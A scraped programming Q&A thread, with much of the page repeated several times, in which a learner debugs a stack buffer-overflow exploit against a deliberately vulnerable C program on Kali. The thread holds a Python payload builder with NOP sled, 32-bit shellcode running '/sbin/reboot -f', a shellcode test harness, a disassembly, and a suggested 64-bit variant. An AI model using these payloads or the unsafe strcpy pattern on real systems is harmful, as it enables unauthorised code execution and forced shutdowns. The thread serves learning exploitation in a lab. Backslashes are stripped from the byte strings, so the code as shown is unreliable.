Segmentation Fault shell code testing kali 2018
up vote
4
down vote
favorite
I've read many articles and examples but I have no idea what I can do now. So, I want to test a shellcode for this vulnerable program:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv)
copier(argv[1]);
printf("Done!n");
int copier(char *str)
char buffer[100];
strcpy(buffer, str);
Script to run my shellcode (force restart):
#!/usr/bin/python
nopsled = 'x90' * 64
shellcode = (
'x31xc0x50x68x62x6fx6fx74x68x6e' +
'x2fx72x65x68x2fx73x62x69x89xe3' +
'x50x66x68x2dx66x89xe6x50x56x53' +
'x89xe1xb0x0bxcdx80'
)
padding = 'A' * (112 - 64 - 36)
eip = 'x70xf1xffxbf'
print nopsled + shellcode + padding + eip
Here you can see that my shellcode is loaded properly:
The registers from esp
And that my return address is: 0xbffff170. So why is my program not working? Please, help me
python c shell reverse-engineering payload
add a comment |
up vote
4
down vote
favorite
I've read many articles and examples but I have no idea what I can do now. So, I want to test a shellcode for this vulnerable program:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv)
copier(argv[1]);
printf("Done!n");
int copier(char *str)
char buffer[100];
strcpy(buffer, str);
Script to run my shellcode (force restart):
#!/usr/bin/python
nopsled = 'x90' * 64
shellcode = (
'x31xc0x50x68x62x6fx6fx74x68x6e' +
'x2fx72x65x68x2fx73x62x69x89xe3' +
'x50x66x68x2dx66x89xe6x50x56x53' +
'x89xe1xb0x0bxcdx80'
)
padding = 'A' * (112 - 64 - 36)
eip = 'x70xf1xffxbf'
print nopsled + shellcode + padding + eip
Here you can see that my shellcode is loaded properly:
The registers from esp
And that my return address is: 0xbffff170. So why is my program not working? Please, help me
python c shell reverse-engineering payload
how do the python and C scripts pass values?
– Shlomi Agiv
Nov 11 at 19:34
How did you compile the C code? You might want to try disassembling the executable to ensure that it actually is vulnerable.
– Daniel Pryden
Nov 11 at 20:46
@Shlomi Agiv I don't know, I was just following the tutorial
– Shirakumo
Nov 11 at 22:26
@Daniel Pryden I compiled it with -g -z execstack -no-pie flags
– Shirakumo
Nov 11 at 22:27
add a comment |
up vote
4
down vote
favorite
up vote
4
down vote
favorite
I've read many articles and examples but I have no idea what I can do now. So, I want to test a shellcode for this vulnerable program:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv)
copier(argv[1]);
printf("Done!n");
int copier(char *str)
char buffer[100];
strcpy(buffer, str);
Script to run my shellcode (force restart):
#!/usr/bin/python
nopsled = 'x90' * 64
shellcode = (
'x31xc0x50x68x62x6fx6fx74x68x6e' +
'x2fx72x65x68x2fx73x62x69x89xe3' +
'x50x66x68x2dx66x89xe6x50x56x53' +
'x89xe1xb0x0bxcdx80'
)
padding = 'A' * (112 - 64 - 36)
eip = 'x70xf1xffxbf'
print nopsled + shellcode + padding + eip
Here you can see that my shellcode is loaded properly:
The registers from esp
And that my return address is: 0xbffff170. So why is my program not working? Please, help me
python c shell reverse-engineering payload
I've read many articles and examples but I have no idea what I can do now. So, I want to test a shellcode for this vulnerable program:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv)
copier(argv[1]);
printf("Done!n");
int copier(char *str)
char buffer[100];
strcpy(buffer, str);
Script to run my shellcode (force restart):
#!/usr/bin/python
nopsled = 'x90' * 64
shellcode = (
'x31xc0x50x68x62x6fx6fx74x68x6e' +
'x2fx72x65x68x2fx73x62x69x89xe3' +
'x50x66x68x2dx66x89xe6x50x56x53' +
'x89xe1xb0x0bxcdx80'
)
padding = 'A' * (112 - 64 - 36)
eip = 'x70xf1xffxbf'
print nopsled + shellcode + padding + eip
Here you can see that my shellcode is loaded properly:
The registers from esp
And that my return address is: 0xbffff170. So why is my program not working? Please, help me
python c shell reverse-engineering payload
python c shell reverse-engineering payload
edited Nov 11 at 19:06
Corion
2,458722
2,458722
asked Nov 11 at 18:32
Shirakumo
314
314
how do the python and C scripts pass values?
– Shlomi Agiv
Nov 11 at 19:34
How did you compile the C code? You might want to try disassembling the executable to ensure that it actually is vulnerable.
– Daniel Pryden
Nov 11 at 20:46
@Shlomi Agiv I don't know, I was just following the tutorial
– Shirakumo
Nov 11 at 22:26
@Daniel Pryden I compiled it with -g -z execstack -no-pie flags
– Shirakumo
Nov 11 at 22:27
add a comment |
how do the python and C scripts pass values?
– Shlomi Agiv
Nov 11 at 19:34
How did you compile the C code? You might want to try disassembling the executable to ensure that it actually is vulnerable.
– Daniel Pryden
Nov 11 at 20:46
@Shlomi Agiv I don't know, I was just following the tutorial
– Shirakumo
Nov 11 at 22:26
@Daniel Pryden I compiled it with -g -z execstack -no-pie flags
– Shirakumo
Nov 11 at 22:27
how do the python and C scripts pass values?
– Shlomi Agiv
Nov 11 at 19:34
how do the python and C scripts pass values?
– Shlomi Agiv
Nov 11 at 19:34
How did you compile the C code? You might want to try disassembling the executable to ensure that it actually is vulnerable.
– Daniel Pryden
Nov 11 at 20:46
How did you compile the C code? You might want to try disassembling the executable to ensure that it actually is vulnerable.
– Daniel Pryden
Nov 11 at 20:46
@Shlomi Agiv I don't know, I was just following the tutorial
– Shirakumo
Nov 11 at 22:26
@Shlomi Agiv I don't know, I was just following the tutorial
– Shirakumo
Nov 11 at 22:26
@Daniel Pryden I compiled it with -g -z execstack -no-pie flags
– Shirakumo
Nov 11 at 22:27
@Daniel Pryden I compiled it with -g -z execstack -no-pie flags
– Shirakumo
Nov 11 at 22:27
add a comment |
2 Answers
2
active
oldest
votes
up vote
2
down vote
accepted
So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) "/sbin/reboot", "-f"
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
The segmentation fault is happening at 0xbffff1b8
, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...
You might notice that there is quite a bit of push
ing going on. All those push
es overwrite data in the call stack. 34 bytes of it in total, to be precise.
Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8
, the valid code was no longer there as it got overwritten by something else entirely.
You need to make sure the length of padding
and eip
combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.
That said, padding
has to be at least 18 bytes longer.
Cut nopsled
length by 32 bytes, just to make it roomy, and transfer those bytes to padding
. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.
And since the eip
address is currently 44 bytes before the shellcode starts, there is no need to adjust it.
There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.
Also, /sbin/reboot
may require root access to work. If this process is not running as root, it won't reboot (it will just crash).
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
add a comment |
up vote
0
down vote
@Havenard I don't know what am I doing wrong. I've modified my code so now there are 24bytes of nopsled, 36 bytes of shellcode, 44 bytes of padding and then return address. As you can see below:
I am on the root account so it should work. When I use the code from shell-strom it restarts my computer normally. I mean when I compile and run the code below as normal program:
#include <stdio.h>
#include <string.h>
char *shellcode = "x31xc0x50x68x62x6fx6fx74x68x6e"
"x2fx72x65x68x2fx73x62x69x89xe3"
"x50x66x68x2dx66x89xe6x50x56x53"
"x89xe1xb0x0bxcdx80";
int main(void)
fprintf(stdout,"Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from0x90909090
to0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address ofbuffer
changed which is weird, but it should still work. Shouldn'tnopsled
have 32 bytes? It seems to have only 20.
– Havenard
Nov 12 at 13:27
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
1
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
1
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
1
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.
– Havenard
Nov 12 at 14:17
|
show 4 more comments
2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
up vote
2
down vote
accepted
So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) "/sbin/reboot", "-f"
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
The segmentation fault is happening at 0xbffff1b8
, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...
You might notice that there is quite a bit of push
ing going on. All those push
es overwrite data in the call stack. 34 bytes of it in total, to be precise.
Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8
, the valid code was no longer there as it got overwritten by something else entirely.
You need to make sure the length of padding
and eip
combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.
That said, padding
has to be at least 18 bytes longer.
Cut nopsled
length by 32 bytes, just to make it roomy, and transfer those bytes to padding
. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.
And since the eip
address is currently 44 bytes before the shellcode starts, there is no need to adjust it.
There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.
Also, /sbin/reboot
may require root access to work. If this process is not running as root, it won't reboot (it will just crash).
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
add a comment |
up vote
2
down vote
accepted
So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) "/sbin/reboot", "-f"
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
The segmentation fault is happening at 0xbffff1b8
, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...
You might notice that there is quite a bit of push
ing going on. All those push
es overwrite data in the call stack. 34 bytes of it in total, to be precise.
Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8
, the valid code was no longer there as it got overwritten by something else entirely.
You need to make sure the length of padding
and eip
combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.
That said, padding
has to be at least 18 bytes longer.
Cut nopsled
length by 32 bytes, just to make it roomy, and transfer those bytes to padding
. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.
And since the eip
address is currently 44 bytes before the shellcode starts, there is no need to adjust it.
There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.
Also, /sbin/reboot
may require root access to work. If this process is not running as root, it won't reboot (it will just crash).
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
add a comment |
up vote
2
down vote
accepted
up vote
2
down vote
accepted
So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) "/sbin/reboot", "-f"
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
The segmentation fault is happening at 0xbffff1b8
, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...
You might notice that there is quite a bit of push
ing going on. All those push
es overwrite data in the call stack. 34 bytes of it in total, to be precise.
Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8
, the valid code was no longer there as it got overwritten by something else entirely.
You need to make sure the length of padding
and eip
combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.
That said, padding
has to be at least 18 bytes longer.
Cut nopsled
length by 32 bytes, just to make it roomy, and transfer those bytes to padding
. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.
And since the eip
address is currently 44 bytes before the shellcode starts, there is no need to adjust it.
There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.
Also, /sbin/reboot
may require root access to work. If this process is not running as root, it won't reboot (it will just crash).
So by my calculations this is what your shellcode is doing (here in Intel Assembly syntax):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) "/sbin/reboot", "-f"
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
The segmentation fault is happening at 0xbffff1b8
, even though as you can see the opcode there is perfectly valid. So what could have happened? Lets see...
You might notice that there is quite a bit of push
ing going on. All those push
es overwrite data in the call stack. 34 bytes of it in total, to be precise.
Yes, the same call stack where the shellcode itself is stored... are you connecting the dots? The shellcode is overwriting itself and destroying it's own code. It started fine but by the time it reached 0xbffff1b8
, the valid code was no longer there as it got overwritten by something else entirely.
You need to make sure the length of padding
and eip
combined is 34 or more, so that the shellcode has enough stack space to work before it starts overwriting it's own code.
That said, padding
has to be at least 18 bytes longer.
Cut nopsled
length by 32 bytes, just to make it roomy, and transfer those bytes to padding
. This should reserve enough stack space for the shellcode to do it's thing without breaking itself.
And since the eip
address is currently 44 bytes before the shellcode starts, there is no need to adjust it.
There are other things that need to be observed as well, first, once the shellcode is done running, it no longer cares what happens next. That means even while working as intended, this program will crash, just after it's done calling the reboot.
Also, /sbin/reboot
may require root access to work. If this process is not running as root, it won't reboot (it will just crash).
edited Nov 11 at 23:02
answered Nov 11 at 20:54
Havenard
17.6k22646
17.6k22646
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
add a comment |
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
Sorry but I'm just the beginner and I'm not sure if I understood you correctly. My shellcode is 36 bytes long. I created 64 bytes of nopsled before shellcode, 16 bytes of padding after shellcode (116-64-36) and added return address at the end of it all. So what you say is to create 32 bytes of nopsled + 36 bytes of shellcode + 32 bytes of padding and then return address? When I do so, my program works without segmentation fault but the shellcode is not executing
– Shirakumo
Nov 11 at 22:25
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
@Shirakumo I reformulated my answer, I hope it's more clear now.
– Havenard
Nov 11 at 22:38
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
I took new screenshot of my modified program, please take a look on my answer below. I have no idea why it's not working.
– Shirakumo
Nov 12 at 11:22
add a comment |
up vote
0
down vote
@Havenard I don't know what am I doing wrong. I've modified my code so now there are 24bytes of nopsled, 36 bytes of shellcode, 44 bytes of padding and then return address. As you can see below:
I am on the root account so it should work. When I use the code from shell-strom it restarts my computer normally. I mean when I compile and run the code below as normal program:
#include <stdio.h>
#include <string.h>
char *shellcode = "x31xc0x50x68x62x6fx6fx74x68x6e"
"x2fx72x65x68x2fx73x62x69x89xe3"
"x50x66x68x2dx66x89xe6x50x56x53"
"x89xe1xb0x0bxcdx80";
int main(void)
fprintf(stdout,"Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from0x90909090
to0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address ofbuffer
changed which is weird, but it should still work. Shouldn'tnopsled
have 32 bytes? It seems to have only 20.
– Havenard
Nov 12 at 13:27
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
1
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
1
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
1
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.
– Havenard
Nov 12 at 14:17
|
show 4 more comments
up vote
0
down vote
@Havenard I don't know what am I doing wrong. I've modified my code so now there are 24bytes of nopsled, 36 bytes of shellcode, 44 bytes of padding and then return address. As you can see below:
I am on the root account so it should work. When I use the code from shell-strom it restarts my computer normally. I mean when I compile and run the code below as normal program:
#include <stdio.h>
#include <string.h>
char *shellcode = "x31xc0x50x68x62x6fx6fx74x68x6e"
"x2fx72x65x68x2fx73x62x69x89xe3"
"x50x66x68x2dx66x89xe6x50x56x53"
"x89xe1xb0x0bxcdx80";
int main(void)
fprintf(stdout,"Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from0x90909090
to0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address ofbuffer
changed which is weird, but it should still work. Shouldn'tnopsled
have 32 bytes? It seems to have only 20.
– Havenard
Nov 12 at 13:27
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
1
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
1
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
1
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.
– Havenard
Nov 12 at 14:17
|
show 4 more comments
up vote
0
down vote
up vote
0
down vote
@Havenard I don't know what am I doing wrong. I've modified my code so now there are 24bytes of nopsled, 36 bytes of shellcode, 44 bytes of padding and then return address. As you can see below:
I am on the root account so it should work. When I use the code from shell-strom it restarts my computer normally. I mean when I compile and run the code below as normal program:
#include <stdio.h>
#include <string.h>
char *shellcode = "x31xc0x50x68x62x6fx6fx74x68x6e"
"x2fx72x65x68x2fx73x62x69x89xe3"
"x50x66x68x2dx66x89xe6x50x56x53"
"x89xe1xb0x0bxcdx80";
int main(void)
fprintf(stdout,"Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
@Havenard I don't know what am I doing wrong. I've modified my code so now there are 24bytes of nopsled, 36 bytes of shellcode, 44 bytes of padding and then return address. As you can see below:
I am on the root account so it should work. When I use the code from shell-strom it restarts my computer normally. I mean when I compile and run the code below as normal program:
#include <stdio.h>
#include <string.h>
char *shellcode = "x31xc0x50x68x62x6fx6fx74x68x6e"
"x2fx72x65x68x2fx73x62x69x89xe3"
"x50x66x68x2dx66x89xe6x50x56x53"
"x89xe1xb0x0bxcdx80";
int main(void)
fprintf(stdout,"Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
answered Nov 12 at 11:20
Shirakumo
314
314
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from0x90909090
to0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address ofbuffer
changed which is weird, but it should still work. Shouldn'tnopsled
have 32 bytes? It seems to have only 20.
– Havenard
Nov 12 at 13:27
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
1
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
1
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
1
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.
– Havenard
Nov 12 at 14:17
|
show 4 more comments
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from0x90909090
to0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address ofbuffer
changed which is weird, but it should still work. Shouldn'tnopsled
have 32 bytes? It seems to have only 20.
– Havenard
Nov 12 at 13:27
@Havenard I am so confused now. I also discovered that there is a difference when I'm working on 32bit or 64bit virtual machine. When I follow the tutorial on YT and disassemble function main on 32bit system, mine result is different than from the tutorial. When I use 64bit system it looks the same but esp is changed for rsp, so my return address is 6bytes, so how can I put it to my code then? I found only 1 tutorial which worked for me so far, but when I tried to edit it... it doesn't work
– Shirakumo
Nov 12 at 13:52
1
In 64-bit architecture, memory addresses are 64-bits (8 bytes). This entire shellcode would have to change. It is only compatible with 32-bit systems.
– Havenard
Nov 12 at 13:54
1
Well, 32-bit is a dying platform, nowadays almost everything uses 64-bits even when it doesn't have more than 4GB of memory to address, but you might have a hard time finding learning material for this kind of hack for 64-bit. 32-bit was around for a very long time and particularly during the period when hacking was a hot topic, almost every literature out there refers to 32-bit systems.
– Havenard
Nov 12 at 14:11
1
Anyway, if you want to try it in 64-bit, I believe this version of the shellcode should work:"x48x31xC0x50x68x62x6Fx6Fx74x68x6Ex2Fx72x65x68x2Fx73x62x69x48x89xE3x50x66x68x2Dx66x48x89xE6x50x56x53x48x89xE1xB0x0Bx0Fx05"
, I haven't tested it but it's now compatible with 64-bits. This shellcode now is 40 bytes and needs 54 bytes of free stack space to work.
– Havenard
Nov 12 at 14:17
Well, on your original screenshot, I can tell you wrote 116 bytes to the buffer, just by looking at what's in the stack (counting bytes from
0x90909090
to 0xbffff170
), in this one I'm looking at 104. Clearly something is wrong with your payload. Also the address of buffer
changed which is weird, but it should still work. Shouldn't nopsled
